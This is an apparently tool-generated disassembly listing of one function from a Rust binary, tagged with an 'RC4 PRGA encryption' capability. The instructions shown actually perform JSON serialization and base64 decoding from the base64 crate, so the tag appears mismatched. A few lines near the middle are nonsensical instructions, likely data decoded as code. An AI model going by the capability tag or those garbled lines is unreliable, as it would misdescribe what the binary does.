Function at 0x1a7f1b75451
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea rdx, str.nullfalsetrue___b_f_n_r_t0123456789abcdef___n
mov r8d, 4
jmp fcn.1a7f1b41c31
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov rsi, rdx
mov rbx, rcx
movzx eax, byte [rcx]
lea rcx, [0x1a7f1c9ded0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x1a7f1b414ff
xor r8d, r8d
cmp byte [rbx + 1], 0
sete r8b
lea rax, [0x1a7f1c606c4]
lea rdx, [0x1a7f1c606c9]
cmove rdx, rax
or r8, 4
mov rcx, qword [rsi]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.1a7f1b41c31
mov rax, qword [rbx + 8]
test rax, rax
je 0x1a7f1b416e9
cmp eax, 1
jne 0x1a7f1b41702
mov rdx, qword [rbx + 0x10]
lea rcx, [rsp + 0x20]
call fcn.1a7f1bb9715
jmp 0x1a7f1b416f7
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x18]
mov rcx, qword [rsi]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.1a7f1b48f5c
add rbx, 8
mov rcx, rbx
mov rdx, rsi
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.1a7f1b445e4
mov r15, qword [rbx + 0x18]
mov rdi, qword [rsi]
lea rdx, [0x1a7f1c606ee]
mov r8d, 1
mov rcx, rdi
call fcn.1a7f1b41c31
mov bpl, 1
test r15, r15
jne 0x1a7f1b41633
mov rcx, rdi
call fcn.1a7f1b414ed
xor ebp, ebp
mov rax, qword [rbx + 8]
xor ecx, ecx
test rax, rax
setne cl
cmove r15, rax
lea r14, [rsp + 0x20]
mov qword [r14], rcx
and qword [r14 + 8], 0
mov rdx, qword [rbx + 0x10]
mov qword [r14 + 0x10], rax
mov qword [r14 + 0x18], rdx
mov qword [r14 + 0x20], rcx
and qword [r14 + 0x28], 0
mov qword [r14 + 0x30], rax
mov qword [r14 + 0x38], rdx
mov qword [r14 + 0x40], r15
lea rbx, [0x1a7f1c8adc2]
lea r15, [0x1a7f1c606ed]
mov rcx, r14
call fcn.1a7f1bb8d7f
test rax, rax
je 0x1a7f1b416da
mov r13, rax
mov r12, rdx
cmp bpl, 1
je 0x1a7f1b416a9
mov r8d, 1
mov rcx, rdi
mov rdx, r15
call fcn.1a7f1b41c31
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
mov rcx, rdi
call fcn.1a7f1b48f5c
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.1a7f1b41c31
mov rcx, r12
mov rdx, rsi
call fcn.1a7f1b41523
mov bpl, 2
jmp 0x1a7f1b4167f
test bpl, bpl
je 0x1a7f1b41749
mov rcx, rdi
call fcn.1a7f1b414ed
jmp 0x1a7f1b41749
mov rdx, qword [rbx + 0x10]
lea rcx, [rsp + 0x20]
call fcn.1a7f1bb963f
mov r8, rdx
mov rcx, qword [rsi]
mov rdx, rax
jmp 0x1a7f1b41744
movsd xmm0, qword [rbx + 0x10]
ucomisd xmm0, xmm0
jp case.0x1a7f1b4154a.0
movq rax, xmm0
btr rax, 0x3f
movabs rcx, 0x7ff0000000000000
cmp rax, rcx
je case.0x1a7f1b4154a.0
lea rdi, [rsp + 0x20]
mov rdx, rdi
call fcn.1a7f1bb8011
mov rcx, qword [rsi]
mov rdx, rdi
mov r8, rax
call fcn.1a7f1b41c31
nop
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov esi, eax
cmp rsi, 5
ja case.default.0x1a7f1b4531d
lea rax, [0x1a7f1c9dee8]
movsxd rcx, dword [rax + rsi*4]
add rcx, rax
sar edi, 0xe1
sar edi, 0xe1
mov r8d, 1
add byte [rax], al
sub r13, 1
jae 0x1a7f1b46016
and edi, 0xc
add byte [rax], al
and edi, 0xc
add byte [rax], al
jmp 0x1a7f1b462d1
sldt word [rax]
mov esi, 8
jmp case.default.0x1a7f1b4531d
mov esi, 0xa
jmp case.default.0x1a7f1b4531d
mov esi, 0xb
jmp case.default.0x1a7f1b4531d
mov esi, 0xc
xor ebp, ebp
mov rcx, r13
sub rcx, rsi
cmovb rcx, rbp
cmp rcx, 0x20
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], r13
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdx
jb 0x1a7f1b45bae
mov qword [rsp + 0x68], rcx
add rcx, 0xffffffffffffffe0
xor ebp, ebp
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
lea rsi, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
lea rbx, [0x1a7f1c36078]
xor edi, edi
mov qword [rsp + 0xa8], rcx
cmp rbp, rcx
mov qword [rsp + 0x58], rdi
ja 0x1a7f1b4617f
mov r15, rbx
lea rdx, [rbp + 0x20]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x48], rbp
mov rcx, rbp
mov qword [rsp + 0xb0], rdx
mov r8, qword [rsp + 0x60]
mov r9, r13
call fcn.1a7f1b7b187
mov r13, rax
mov rbx, rdx
lea rdx, [rdi + 0x1a]
mov qword [rsp + 0x20], rsi
mov rcx, rdi
mov rbp, r14
mov r8, r14
mov r9, r12
call fcn.1a7f1b7b187
mov r12, rax
mov r14, rdx
mov qword [rsp + 0x88], r13
mov rcx, r13
mov qword [rsp + 0x80], rbx
mov rdx, rbx
xor r8d, r8d
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
call fcn.1a7f1b66eb7
mov rdi, rax
mov rsi, rdx
mov qword [rsp + 0x78], r12
mov rcx, r12
mov qword [rsp + 0x70], r14
mov rdx, r14
xor r8d, r8d
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
call fcn.1a7f1b66eb7
test rsi, rsi
je 0x1a7f1b463a8
movzx r8d, byte [rdi]
movzx ecx, byte [r8 + r15 + 0x43]
cmp rcx, 0xff
je 0x1a7f1b46189
cmp rsi, 2
jb 0x1a7f1b463b8
mov r9, rdx
mov rbx, r15
mov r14, rbp
movzx r8d, byte [rdi + 1]
movzx edx, byte [r8 + r15 + 0x43]
cmp rdx, 0xff
je 0x1a7f1b46193
cmp rsi, 2
mov r13, qword [rsp + 0x48]
jbe 0x1a7f1b463cb
movzx r8d, byte [rdi + 2]
movzx r10d, byte [r8 + rbx + 0x43]
cmp r10, 0xff
je 0x1a7f1b4619e
cmp rsi, 3
jbe 0x1a7f1b463de
movzx r8d, byte [rdi + 3]
movzx r11d, byte [r8 + rbx + 0x43]
cmp r11, 0xff
je 0x1a7f1b461a4
cmp rsi, 4
jbe 0x1a7f1b463f1
movzx r8d, byte [rdi + 4]
movzx r15d, byte [r8 + rbx + 0x43]
cmp r15, 0xff
je 0x1a7f1b461aa
cmp rsi, 5
jbe 0x1a7f1b46404
movzx r8d, byte [rdi + 5]
movzx ebp, byte [r8 + rbx + 0x43]
cmp rbp, 0xff
je 0x1a7f1b461b0
cmp rsi, 6
jbe 0x1a7f1b46417
mov r12, r14
movzx r8d, byte [rdi + 6]
movzx r14d, byte [r8 + rbx + 0x43]
cmp r14, 0xff
je 0x1a7f1b461b6
cmp rsi, 7
jbe 0x1a7f1b4642a
movzx r8d, byte [rdi + 7]
movzx esi, byte [r8 + rbx + 0x43]
cmp rsi, 0xff
je 0x1a7f1b461bc
shl rcx, 0x3a
shl rdx, 0x34
or rdx, rcx
shl r10, 0x2e
or r10, rdx
shl r11, 0x28
or r11, r10
shl r15, 0x22
or r15, r11
shl rbp, 0x1c
or rbp, r15
shl r14, 0x16
or r14, rbp
shl rsi, 0x10
or rsi, r14
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov qword [rsp + 0x20], rcx
mov edx, 8
xor ecx, ecx
mov r8, rax
call fcn.1a7f1b7b187
bswap rsi
mov qword [rsp + 0x50], rsi
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x50]
call fcn.1a7f1b66f2f
mov r8d, 8
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
call fcn.1a7f1b66eb7
mov rsi, rax
mov rdi, rdx
mov r8d, 6
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
call fcn.1a7f1b66eb7
test rdi, rdi
je 0x1a7f1b463a8
movzx r8d, byte [rsi]
movzx ecx, byte [r8 + rbx + 0x43]
cmp rcx, 0xff
je 0x1a7f1b461e2
cmp rdi, 2
jb 0x1a7f1b463b8
mov r9, rdx
mov r14, r12
movzx r8d, byte [rsi + 1]
movzx edx, byte [r8 + rbx + 0x43]
cmp rdx, 0xff
mov rbp, r13
je 0x1a7f1b4620a
cmp rdi, 3
jb 0x1a7f1b463cb
movzx r8d, byte [rsi + 2]
movzx r10d, byte [r8 + rbx + 0x43]
cmp r10, 0xff
je 0x1a7f1b46214
cmp rdi, 4
jb 0x1a7f1b463de
movzx r8d, byte [rsi + 3]
movzx r11d, byte [r8 + rbx + 0x43]
cmp r11, 0xff
je 0x1a7f1b4621e
cmp rdi, 5
jb 0x1a7f1b463f1
movzx r8d, byte [rsi + 4]
movzx r15d, byte [r8 + rbx + 0x43]
cmp r15, 0xff
je 0x1a7f1b46228
cmp rdi, 6
jb 0x1a7f1b46404
movzx r8d, byte [rsi + 5]
movzx r14d, byte [r8 + rbx + 0x43]
cmp r14, 0xff
je 0x1a7f1b46232
cmp rdi, 7
jb 0x1a7f1b46417
movzx r8d, byte [rsi + 6]
movzx r12d, byte [r8 + rbx + 0x43]
cmp r12, 0xff
je 0x1a7f1b46239
cmp rdi, 8
jb 0x1a7f1b4642a
movzx r8d, byte [rsi + 7]
movzx esi, byte [r8 + rbx + 0x43]
cmp rsi, 0xff
je 0x1a7f1b46240
shl rcx, 0x3a
shl rdx, 0x34
or rdx, rcx
shl r10, 0x2e
or r10, rdx
shl r11, 0x28
or r11, r10
shl r15, 0x22
or r15, r11
shl r14, 0x1c
or r14, r15
shl r12, 0x16
or r12, r14
shl rsi, 0x10
or rsi, r12
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov qword [rsp + 0x20], rcx
mov edx, 8
xor ecx, ecx
mov r8, rax
call fcn.1a7f1b7b187
bswap rsi
mov qword [rsp + 0x50], rsi
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x50]
call fcn.1a7f1b66f2f
mov r8d, 0x10
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
call fcn.1a7f1b66eb7
mov rsi, rax
mov rdi, rdx
mov r8d, 0xc
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
call fcn.1a7f1b66eb7
test rdi, rdi
je 0x1a7f1b463a8
movzx r8d, byte [rsi]
movzx ecx, byte [r8 + rbx + 0x43]
cmp rcx, 0xff
mov r14, qword [rsp + 0x30]
je 0x1a7f1b46247
cmp rdi, 2
jb 0x1a7f1b463b8
mov r9, rdx
movzx r8d, byte [rsi + 1]
movzx edx, byte [r8 + rbx + 0x43]
cmp rdx, 0xff
je 0x1a7f1b4624e
cmp rdi, 3
jb 0x1a7f1b463cb
movzx r8d, byte [rsi + 2]
movzx r10d, byte [r8 + rbx + 0x43]
cmp r10, 0xff
je 0x1a7f1b46255
cmp rdi, 4
jb 0x1a7f1b463de
movzx r8d, byte [rsi + 3]
movzx r11d, byte [r8 + rbx + 0x43]
cmp r11, 0xff
je 0x1a7f1b4625c
cmp rdi, 5
jb 0x1a7f1b463f1
movzx r8d, byte [rsi + 4]
movzx r15d, byte [r8 + rbx + 0x43]
cmp r15, 0xff
je 0x1a7f1b46263
cmp rdi, 6
jb 0x1a7f1b46404
mov r12, r14
movzx r8d, byte [rsi + 5]
movzx r14d, byte [r8 + rbx + 0x43]
cmp r14, 0xff
je 0x1a7f1b4626a
cmp rdi, 7
jb 0x1a7f1b46417
movzx r8d, byte [rsi + 6]
movzx r12d, byte [r8 + rbx + 0x43]
cmp r12, 0xff
je 0x1a7f1b46271
cmp rdi, 8
jb 0x1a7f1b4642a
movzx r8d, byte [rsi + 7]
movzx esi, byte [r8 + rbx + 0x43]
cmp rsi, 0xff
je 0x1a7f1b46278
shl rcx, 0x3a
shl rdx, 0x34
or rdx, rcx
shl r10, 0x2e
or r10, rdx
shl r11, 0x28
or r11, r10
shl r15, 0x22
or r15, r11
shl r14, 0x1c
or r14, r15
shl r12, 0x16
or r12, r14
shl rsi, 0x10
or rsi, r12
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov qword [rsp + 0x20], rcx
mov edx, 8
xor ecx, ecx
mov r8, rax
call fcn.1a7f1b7b187
bswap rsi
mov qword [rsp + 0x50], rsi
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x50]
call fcn.1a7f1b66f2f
mov r8d, 0x18
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
call fcn.1a7f1b66eb7
mov rsi, rax
mov rdi, rdx
mov r8d, 0x12
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
call fcn.1a7f1b66eb7
test rdi, rdi
je 0x1a7f1b463a8
movzx r8d, byte [rsi]
movzx ecx, byte [r8 + rbx + 0x43]
cmp rcx, 0xff
mov r14, qword [rsp + 0x30]
mov r13, qword [rsp + 0x98]
je 0x1a7f1b4627f
cmp rdi, 2
jb 0x1a7f1b463b8
mov r9, rdx
movzx r8d, byte [rsi + 1]
movzx edx, byte [r8 + rbx + 0x43]
cmp rdx, 0xff
je 0x1a7f1b46286
cmp rdi, 3
jb 0x1a7f1b463cb
movzx r8d, byte [rsi + 2]
movzx r10d, byte [r8 + rbx + 0x43]
cmp r10, 0xff
je 0x1a7f1b4628d
cmp rdi, 4
jb 0x1a7f1b463de
movzx r8d, byte [rsi + 3]
movzx r11d, byte [r8 + rbx + 0x43]
cmp r11, 0xff
je 0x1a7f1b46294
cmp rdi, 5
jb 0x1a7f1b463f1
movzx r8d, byte [rsi + 4]
movzx r15d, byte [r8 + rbx + 0x43]
cmp r15, 0xff
je 0x1a7f1b4629b
cmp rdi, 6
jb 0x1a7f1b46404
mov r12, r14
movzx r8d, byte [rsi + 5]
movzx r14d, byte [r8 + rbx + 0x43]
cmp r14, 0xff
je 0x1a7f1b462a2
cmp rdi, 7
jb 0x1a7f1b46417
movzx r8d, byte [rsi + 6]
movzx r12d, byte [r8 + rbx + 0x43]
cmp r12, 0xff
je 0x1a7f1b462ac
cmp rdi, 8
jb 0x1a7f1b4642a
movzx r8d, byte [rsi + 7]
movzx esi, byte [r8 + rbx + 0x43]
cmp rsi, 0xff
mov rdi, qword [rsp + 0x58]
je 0x1a7f1b462b3
shl rcx, 0x3a
shl rdx, 0x34
or rdx, rcx
shl r10, 0x2e
or r10, rdx
shl r11, 0x28
or r11, r10
shl r15, 0x22
or r15, r11
shl r14, 0x1c
or r14, r15
shl r12, 0x16
or r12, r14
shl rsi, 0x10
or rsi, r12
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov qword [rsp + 0x20], rcx
mov edx, 8
xor ecx, ecx
mov r8, rax
call fcn.1a7f1b7b187
bswap rsi
mov qword [rsp + 0x50], rsi
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x50]
call fcn.1a7f1b66f2f
add rdi, 0x18
add qword [rsp + 0xa0], 0xfffffffffffffffc
mov rbp, qword [rsp + 0xb0]
mov r14, qword [rsp + 0x30]
mov r12, qword [rsp + 0x90]
mov rcx, qword [rsp + 0xa8]
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
lea rsi, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
jmp 0x1a7f1b453ad
xor eax, eax
mov qword [rsp + 0x58], rax
cmp rcx, 8
jb 0x1a7f1b45de9
add rcx, 0xfffffffffffffff8
lea rsi, [0x1a7f1c36078]
mov qword [rsp + 0x68], rcx
cmp rbp, rcx
jae 0x1a7f1b45de9
lea rdi, [rbp + 8]
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov qword [rsp + 0x20], rax
mov rcx, rbp
mov rdx, rdi
mov r8, qword [rsp + 0x60]
mov r9, r13
call fcn.1a7f1b7b187
mov rbx, rax
mov r15, rdx
mov rcx, qword [rsp + 0x58]
lea rdx, [rcx + 8]
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov qword [rsp + 0x20], rax
mov r8, r14
mov r9, r12
call fcn.1a7f1b7b187
test r15, r15
je 0x1a7f1b463a8
movzx r8d, byte [rbx]
movzx ecx, byte [r8 + rsi + 0x43]
cmp rcx, 0xff
je 0x1a7f1b462c0
cmp r15, 2
jb 0x1a7f1b463b8
mov r9, rdx
movzx r8d, byte [rbx + 1]
movzx edx, byte [r8 + rsi + 0x43]
cmp rdx, 0xff
je 0x1a7f1b4610b
cmp r15, 2
jbe 0x1a7f1b463cb
movzx r8d, byte [rbx + 2]
movzx r10d, byte [r8 + rsi + 0x43]
cmp r10, 0xff
je 0x1a7f1b46125
cmp r15, 3
jbe 0x1a7f1b463de
movzx r8d, byte [rbx + 3]
movzx r11d, byte [r8 + rsi + 0x43]
cmp r11, 0xff
je 0x1a7f1b46139
cmp r15, 4
jbe 0x1a7f1b463f1
mov r12, rbp
movzx r8d, byte [rbx + 4]
movzx ebp, byte [r8 + rsi + 0x43]
cmp rbp, 0xff
je 0x1a7f1b4614d
cmp r15, 5
jbe 0x1a7f1b46404
movzx r8d, byte [rbx + 5]
movzx r13d, byte [r8 + rsi + 0x43]
cmp r13, 0xff
je 0x1a7f1b46159
cmp r15, 6
jbe 0x1a7f1b46417
mov qword [rsp + 0x48], rdi
movzx r8d, byte [rbx + 6]
movzx r14d, byte [r8 + rsi + 0x43]
cmp r14, 0xff
je 0x1a7f1b46165
cmp r15, 7
jbe 0x1a7f1b4642a
mov rdi, rsi
movzx r8d, byte [rbx + 7]
movzx ebx, byte [r8 + rsi + 0x43]
cmp rbx, 0xff
je 0x1a7f1b4616e
shl rcx, 0x3a
shl rdx, 0x34
or rdx, rcx
shl r10, 0x2e
or r10, rdx
shl r11, 0x28
or r11, r10
shl rbp, 0x22
or rbp, r11
shl r13, 0x1c
or r13, rbp
shl r14, 0x16
or r14, r13
shl rbx, 0x10
or rbx, r14
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov qword [rsp + 0x20], rcx
mov edx, 8
xor ecx, ecx
mov r8, rax
call fcn.1a7f1b7b187
bswap rbx
mov qword [rsp + 0x50], rbx
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x50]
call fcn.1a7f1b66f2f
add qword [rsp + 0x58], 6
dec qword [rsp + 0xa0]
mov rbp, qword [rsp + 0x48]
mov r12, qword [rsp + 0x90]
mov r13, qword [rsp + 0x98]
mov r14, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x68]
mov rsi, rdi
jmp 0x1a7f1b45bcf
mov esi, 1
mov rdi, qword [rsp + 0x58]
cmp rsi, qword [rsp + 0xa0]
jae 0x1a7f1b46046
mov rcx, qword [rsp + 0x60]
mov rdx, r13
mov r8, rbp
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
call fcn.1a7f1b66eb7
mov r15, rax
mov r13, rdx
lea rbx, [rdi + 6]
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rbx
mov r8, r14
mov r9, r12
call fcn.1a7f1b7b187
test r13, r13
je 0x1a7f1b463a8
movzx r8d, byte [r15]
lea r12, [0x1a7f1c36078]
movzx ecx, byte [r8 + r12 + 0x43]
cmp rcx, 0xff
je 0x1a7f1b462c0
cmp r13, 2
jb 0x1a7f1b463b8
mov r9, rdx
movzx r8d, byte [r15 + 1]
movzx edx, byte [r8 + r12 + 0x43]
cmp rdx, 0xff
je 0x1a7f1b460e3
cmp r13, 2
jbe 0x1a7f1b463cb
movzx r8d, byte [r15 + 2]
movzx r10d, byte [r8 + r12 + 0x43]
cmp r10, 0xff
je 0x1a7f1b460eb
cmp r13, 3
jbe 0x1a7f1b463de
movzx r8d, byte [r15 + 3]
movzx r11d, byte [r8 + r12 + 0x43]
cmp r11, 0xff
je 0x1a7f1b460f4
cmp r13, 4
jbe 0x1a7f1b463f1
mov qword [rsp + 0x48], rbp
movzx r8d, byte [r15 + 4]
movzx ebp, byte [r8 + r12 + 0x43]
cmp rbp, 0xff
je 0x1a7f1b460fd
cmp r13, 5
jbe 0x1a7f1b46404
mov rdi, rbx
mov rbx, rsi
mov rsi, r12
mov r12, r14
movzx r8d, byte [r15 + 5]
movzx r14d, byte [r8 + rsi + 0x43]
cmp r14, 0xff
je 0x1a7f1b46114
cmp r13, 6
jbe 0x1a7f1b46417
movzx r8d, byte [r15 + 6]
lea r12, [0x1a7f1c36078]
movzx r12d, byte [r8 + r12 + 0x43]
cmp r12, 0xff
je 0x1a7f1b4612e
cmp r13, 7
jbe 0x1a7f1b4642a
movzx r8d, byte [r15 + 7]
lea r15, [0x1a7f1c36078]
movzx r15d, byte [r8 + r15 + 0x43]
cmp r15, 0xff
je 0x1a7f1b46142
shl rcx, 0x3a
shl rdx, 0x34
or rdx, rcx
shl r10, 0x2e
or r10, rdx
shl r11, 0x28
or r11, r10
shl rbp, 0x22
or rbp, r11
shl r14, 0x1c
or r14, rbp
shl r12, 0x16
or r12, r14
shl r15, 0x10
or r15, r12
bswap r15
mov qword [rsp + 0x50], r15
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov qword [rsp + 0x20], rcx
mov edx, 6
xor ecx, ecx
mov r8, rax
call fcn.1a7f1b7b187
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode.rs
mov qword [rsp + 0x20], rcx
mov r9d, 6
mov rcx, rax
lea r8, [rsp + 0x50]
call fcn.1a7f1b66f2f
mov rbp, qword [rsp + 0x48]
add rbp, 8
mov rsi, rbx
inc rsi
mov r14, qword [rsp + 0x30]
mov r12, qword [rsp + 0x90]
mov r13, qword [rsp + 0x98]
jmp 0x1a7f1b45df3
mov rax, qword [rsp + 0x60]
movzx eax, byte [rax + r13]
cmp rax, 0x3d
je 0x1a7f1b462d1
lea rcx, [0x1a7f1c36078]
mov r9, rax
shl r9, 8
cmp byte [rax + rcx + 0x43], 0xff
cmove r8, r9
jmp 0x1a7f1b462d1
mov r15, r14
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.5_srcenginegeneral_purposedecode_suffix.rs
mov rcx, qword [rsp + 0x60]
mov rdx, r13
mov r8, rbp
call fcn.1a7f1b66eb7
add rdx, rax
xor ebx, ebx
xor r11d, r11d
xor r13d, r13d
xor r10d, r10d
xor r9d, r9d
mov rsi, rax
mov rcx, rbx
xor r14d, r14d
cmp rsi, rdx
je 0x1a7f1b461cc
lea rbx, [rcx + 1]
movzx r8d, byte [rsi]
inc rsi
cmp r8, 0x3d
jne 0x1a7f1b460ac
test r14, r14
cmove r13, rcx
test cl, 2
je 0x1a7f1b461ef
inc r14
mov rcx, rbx
jmp 0x1a7f1b4607a
test r14, r14
jne 0x1a7f1b461ef
lea rax, [0x1a7f1c36078]
movzx eax, byte [r8 + rax + 0x43]
cmp rax, 0xff
je 0x1a7f1b46442
inc r10
imul ecx, r10d, 0x3a
shl rax, cl
or r9, rax
mov rax, rsi
mov r11d, r8d
jmp 0x1a7f1b46074
inc rbp
jmp 0x1a7f1b462c0
add rbp, 2
jmp 0x1a7f1b462c0
add rbp, 3
jmp 0x1a7f1b462c0
mov rbp, qword [rsp + 0x48]
add rbp, 4
jmp 0x1a7f1b462c0
or rbp, 1
jmp 0x1a7f1b462c0
mov rbp, qword [rsp + 0x48]
add rbp, 5
mov r14, r12
jmp 0x1a7f1b462c0
or rbp, 2
jmp 0x1a7f1b462c0
mov rbp, qword [rsp + 0x48]
add rbp, 6
jmp 0x1a7f1b46175
or rbp, 3
jmp 0x1a7f1b462c0
mov rbp, qword [rsp + 0x48]
add rbp, 7
jmp 0x1a7f1b46175
mov rbp, r12
or rbp, 4
jmp 0x1a7f1b462c0
mov rbp, r12
or rbp, 5
jmp 0x1a7f1b462c0
mov rbp, r12
or rbp, 6
jmp 0x1a7f1b46175
mov rbp, r12
or rbp, 7
mov r14, qword [rsp + 0x30]
jmp 0x1a7f1b462c0
mov rcx, qword [rsp + 0x68]
jmp 0x1a7f1b45bb5
mov r14, rbp
mov r13, qword [rsp + 0x48]
jmp 0x1a7f1b461c3
mov r13, qword [rsp + 0x48]
or r13, 1
jmp 0x1a7f1b461c3
or r13, 2
jmp 0x1a7f1b461c3
or r13, 3
jmp 0x1a7f1b461c3
or r13, 4
jmp 0x1a7f1b461c3
or r13, 5
jmp 0x1a7f1b461c3
or r13, 6
jmp 0x1a7f1b461c0
or r13, 7
mov r14, r12
shl r8, 8
jmp 0x1a7f1b462c7
sub edx, eax
lea eax, [r10 + rdx]
test al, 3
je 0x1a7f1b462f8
mov r8d, 3
jmp 0x1a7f1b461f8
mov eax, 8
mov rbp, r13
jmp 0x1a7f1b462a7
add r13, rbp
mov r8d, 0x3d00
mov rdi, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
mov r14, r15
jmp 0x1a7f1b462d1
mov eax, 9
jmp 0x1a7f1b462bd
mov eax, 0xa
jmp 0x1a7f1b462bd
mov eax, 0xb
jmp 0x1a7f1b462bd
mov eax, 0xc
jmp 0x1a7f1b462bd
mov eax, 0xd
jmp 0x1a7f1b462a7
mov eax, 0xe
jmp 0x1a7f1b462b8
mov eax, 0xf
jmp 0x1a7f1b462b8
mov eax, 0x10
jmp 0x1a7f1b462bd
mov eax, 0x11
jmp 0x1a7f1b462bd
mov eax, 0x12
jmp 0x1a7f1b462bd
mov eax, 0x13
jmp 0x1a7f1b462bd
mov eax, 0x14
jmp 0x1a7f1b462bd
mov eax, 0x15
jmp 0x1a7f1b462a7
mov eax, 0x16
jmp 0x1a7f1b462b8
mov eax, 0x17
jmp 0x1a7f1b462b8
mov eax, 0x18
jmp 0x1a7f1b462bd
mov eax, 0x19
jmp 0x1a7f1b462bd
mov eax, 0x1a
jmp 0x1a7f1b462bd
mov eax, 0x1b
jmp 0x1a7f1b462bd
mov eax, 0x1c
jmp 0x1a7f1b462bd
mov eax, 0x1d
mov r14, r12
jmp 0x1a7f1b462bd
mov eax, 0x1e
jmp 0x1a7f1b462b8
mov eax, 0x1f
mov r14, qword [rsp + 0x30]
or rbp, rax
shl r8, 8
mov r13, rbp
mov rdi, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
mov qword [rdi + 8], r8
mov qword [rdi + 0x10], r13
and qword [rdi], 0
